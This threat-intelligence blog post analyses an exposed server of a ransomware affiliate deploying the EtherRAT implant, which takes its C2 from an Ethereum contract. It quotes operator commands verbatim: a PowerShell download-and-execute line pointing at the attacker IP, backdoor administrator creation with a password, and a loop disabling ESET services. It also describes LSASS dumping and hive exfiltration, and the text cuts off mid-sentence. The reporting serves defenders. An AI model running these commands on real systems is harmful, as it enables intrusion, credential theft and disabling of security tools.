Flying Eagle Android RAT: Leaked Source Code, 170 Active Servers, and a New Platform Called Night Dragon Learn More Hunt.io Product Features OEM Pricing About Blog Login Get a Demo To embed a website or widget, add it to the properties panel. Flying Eagle Android RAT: Leaked Source Code, 170 Active Servers, and a New Platform Called Night Dragon Learn More Hunt.io Product Features OEM Pricing About Blog Login Get a Demo To embed a website or widget, add it to the properties panel. Flying Eagle Android RAT: Leaked Source Code, 170 Active Servers, and a New Platform Called Night Dragon Learn More Hunt.io To embed a website or widget, add it to the properties panel. Home Blog The Gentlemen Affiliate Deploys EtherRAT Across Windows Networks Using Ethereum Smart Contract C2 The Gentlemen Affiliate Deploys EtherRAT Across Windows Networks Using Ethereum Smart Contract C2 Published on Aug 4, 2026 TABLE OF CONTENTS Key Observations Campaign Overview Scheduled Tasks as the Deployment Layer Discovery, Credential Theft & Privilege Escalation Lateral Movement & C2 Layered Command & Control (C2) Clustering Command & Control Infrastructure MITRE ATT&CK Mapping IOCs and Observables Conclusion An exposed open directory at 193.233.202[.]17 caught an operator tied to The Gentlemen ransomware mid-intrusion, setting up a Windows domain for persistent access, credential theft, and lateral movement. The files left behind trace the full operation, from privileged account creation and LSASS dumping to security-product tampering and reverse tunnels. Lateral movement ran through remote scheduled tasks that downloaded and executed MSI payloads. Those installed EtherRAT, a persistent implant that pulls its C2 domains from an Ethereum smart contract instead of hardcoding them, while Sliver and Go reverse-shell binaries gave the operator additional command channels. Huntress had already flagged 193.233.202[.]17 and 77.110.122[.]137 as proxy endpoints in their May 21st write-up on The Gentlemen's defense evasion TTPs. Both IPs showed up as open directories on the Hunt.io platform through the IOC Hunter feature . On June 16th, Huntress also published a ClickFix campaign that deployed EtherRAT . That activity was left unattributed, but we assess it likely ties back to the same The Gentlemen cluster. Key Observations The directory held 82 recovered files totaling 145 MB, a full operator toolkit spanning 37 Windows executables, 22 PowerShell scripts, 9 batch files, 6 scheduled-task XMLs, and the EtherRAT MSI installer. Deployment leaned on LOLBAS: certutil.exe fetched the MSI to remote hosts and msiexec.exe installed it silently, with the tasks masquerading under names like WinSvcUpdate2 and WindowsUpdSvc. Because EtherRAT reads its C2 from an Ethereum contract, every domain rotation is written permanently to the blockchain. That convenience for the operator lets defenders reconstruct the full historical C2 set, five domains in this case. EtherRAT has no fixed command set. Any C2 response over ten characters is run as JavaScript inside a Node.js runtime, giving the operator arbitrary code execution and letting them extend capabilities without replacing the implant. The custom X-Bot-Server header is a usable detection point. Pivoting on the recovered Go binaries surfaced two more controllers, 146.103.127[.]44 and 77.110.126[.]46, on the same ASN (AS203273) as the staging server. A second EtherRAT cluster on 77.110.122[.]58 used the same Ethereum contract and a near-identical MSI (cons_1.0.1.msi), and a Gambit Security directory on 38.110.228[.]33 held artifacts we assess link to a USA-based The Gentlemen victim. Beyond the C2 layers, the toolkit covered credential theft (Mimikatz, registry-hive and LSASS dumping), tunneling (Chisel, Ligolo-ng), and Potato-family privilege escalation, showing an operator equipped for the full path to domain-wide ransomware. Campaign Overview The exposed server on 193.233.202[.]17 held 82 locally recovered files totaling 145 MB. The set includes 37 Windows executables, 22 PowerShell scripts, nine batch files, six scheduled-task XML files, one MSI package, a large raw shellcode blob, and public post-exploitation tools. Figure 01: Hunt.io platform exposing open-directory on 193.233.202[.]17 Files recovered suggest the threat actor was attempting to target Windows networks to: establish or restore privileged access collect credentials and Active Directory data deploy EtherRAT across the domain preserve several independent command channels Artifacts within this open-directory could be linked to an American victim, which was disclosed by The Gentlemen on the 9th May. The secondary directory, 77.110.122[.]137, contained artifacts surrounding a Linux-based intrusion, which is not in the scope of this blog: Figure 02: Hunt.io platform exposing open-directory on 77.110.122[.]137 Scheduled Tasks as the Deployment Layer Within the open-directory was the Scheduled Task configuration task39.xml. This is configured to run under the SYSTEM context, dynamically downloading and running a PowerShell script: powershell -ep bypass -w hidden -NonInteractive -c iex((New-Object Net.WebClient).DownloadString('hxxp:// 193.233 . 202 [.] 17 : 42718 /task_39.ps1')) Copy This script creates a local administrator support2 with the credential Supp0rt2@2026!. This user is added to the Administrators and Remote Desktop Users groups, with a later attempt to add to the Domain Administrators group. net user support2 'Supp0rt2@2026!' /add net localgroup Administrators support2 /add net localgroup 'Remote Desktop Users' support2 /add net group 'Domain Admins' support2 /add /domain Copy An attempt at Defensive Evasion is achieved by iterating through ESET related services and disabling using sc.exe: $esetServices = @( 'ekrn' , 'EraAgentSvc' , 'EhttpSrv' , 'EESvc' , 'eguiSvc' , 'epfw' , 'epfwwfp' , 'eamonm' ) foreach ( $svc in $esetServices ) { try { & sc.exe stop $svc 2 >& 1 | Out-Null; & sc.exe config $svc start= disabled 2 >& 1 | Out-Null } catch {} } Copy To establish remote network access, a Chisel binary is staged to C:\ProgramData\chisel.exe and configured to call back over port 9001. Figure 03: task_39.ps1 for account creation, defense impairment, credential theft, tunneling, payload staging, and an interactive shell To perform credential theft, the actor leveraged reg.exe to export registry hives to the C:\ProgramData directory. These were exfiltrated using the native PowerShell HTTP client, uploading to the C2 server with a PUT operation. Figure 04: Exfiltration of registry hives To achieve Command & Control, alongside the deployment of Chisel, the affiliate deployed Go-compiled reverse-shell binaries and a raw PowerShell reverse-shell implementation. Discovery, Credential Theft & Privilege Escalation Within the open-directory, multiple scripts were used to perform discovery and credential theft. acl_enum.ps1 impersonates the token from an interactive Windows session, queries Active Directory, enumerates users, computers and groups, and requests the legacy LAPS attribute ms-Mcs-AdmPwd. ld.ps1 invokes MiniDumpWriteDump against LSASS. task_39.ps1 exports three registry hives and transfers them off the host. Several privilege-escalation scripts were observed. gp_reflect.ps1 loads a GodPotato payload in memory and changes LocalAccountTokenFilterPolicy. fix_uac.bat disables UAC and changes the same policy. ms16032.ps1 contains an incomplete hand-built CVE-2016-0099 path and a named-pipe fallback. Mimikatz binaries and local-privilege escalation exploits were observed within the threat actors toolkit: mimi64.exe - Mimikatz jp.exe - JuicyPotato x64 exploit ps64.exe - PrintSpoofer x64 exploit svcload.exe - PrintSpoofer x64 variant gp.exe - GodPotato exploit svcefs.exe - EFSRPC Potato-style privilege escalation Lateral Movement & C2 The remote deployment scripts attempted to target multiple internal hosts via hardcoded private IP addresses. They used administrative shares, copied payloads using xcopy, and registered scheduled tasks using schtasks or services under names such as WindowsUpdSvc*. Figure 05: Remote Scheduled Tasks deployment The binary wsu.exe was not recovered for analysis. deploy2.cmd uses a batch for loop to iterate through local IP addresses, creating remote Scheduled Tasks named WinSvcUpdate2. The tasks are configured to use the LOLBAS certutil.exe to dynamically download a msi payload cons_c1.0.1.msi from the staging IP address to the file path C:\Windows\Temp\cu.msi. Another script, deploy.cmd, was also observed. It attempted to perform essentially the same remote deployment activity, although with minor implementation differences, including attempting to copy the MSI over SMB and using "wmic process call create" to run with certutil.exe as a fallback download method. This script attempted to stage the MSI file to C:\Windows\Temp\cons_update.msi. Figure 06: EtherRAT deployment script The payload cu.msi is executed using LOLBAS msiexec.exe, dropping the below files: %LOCALAPPDATA%\MicrosoftSltt\jEdb5ROX.cmd - Node.js bootstrapper %LOCALAPPDATA%\MicrosoftSltt\YUGKag9mvNKWylo.bin - JS decoder & Run key persistence %LOCALAPPDATA%\MicrosoftSltt\jlfYWzAkN99jpGu.xml - XOR encrypted Node backdoor If Node.js is not installed, the bootstrapper will download and install using the below commands: curl.exe -sLo "%TEMP%\7lNpmAcuEk.zip" "https://nodejs.org/dist/v18.17.0/node-v18.17.0-win-x64.zip" tar.exe -xf "%TEMP%\7lNpmAcuEk.zip" -C "%LOCALAPPDATA%\MicrosoftSltt" ren "%LOCALAPPDATA%\MicrosoftSltt\node-v18.17.0-win-x64" jfpcXP %LOCALAPPDATA%\MicrosoftSltt\jfpcXP\node.exe Copy With Node.js installed, YUGKag9mvNKWylo.bin is executed using the interpreter. This will decrypt the backdoor jlfYWzAkN99jpGu.xml, using a repeating XOR key and position dependent XOR opertation writing to the below path: %LOCALAPPDATA%\MicrosoftSltt\BDQbS2lZ6u.bak Copy The initial Node.js .bin execution will also establish persistence via the creation of a Run key entry, W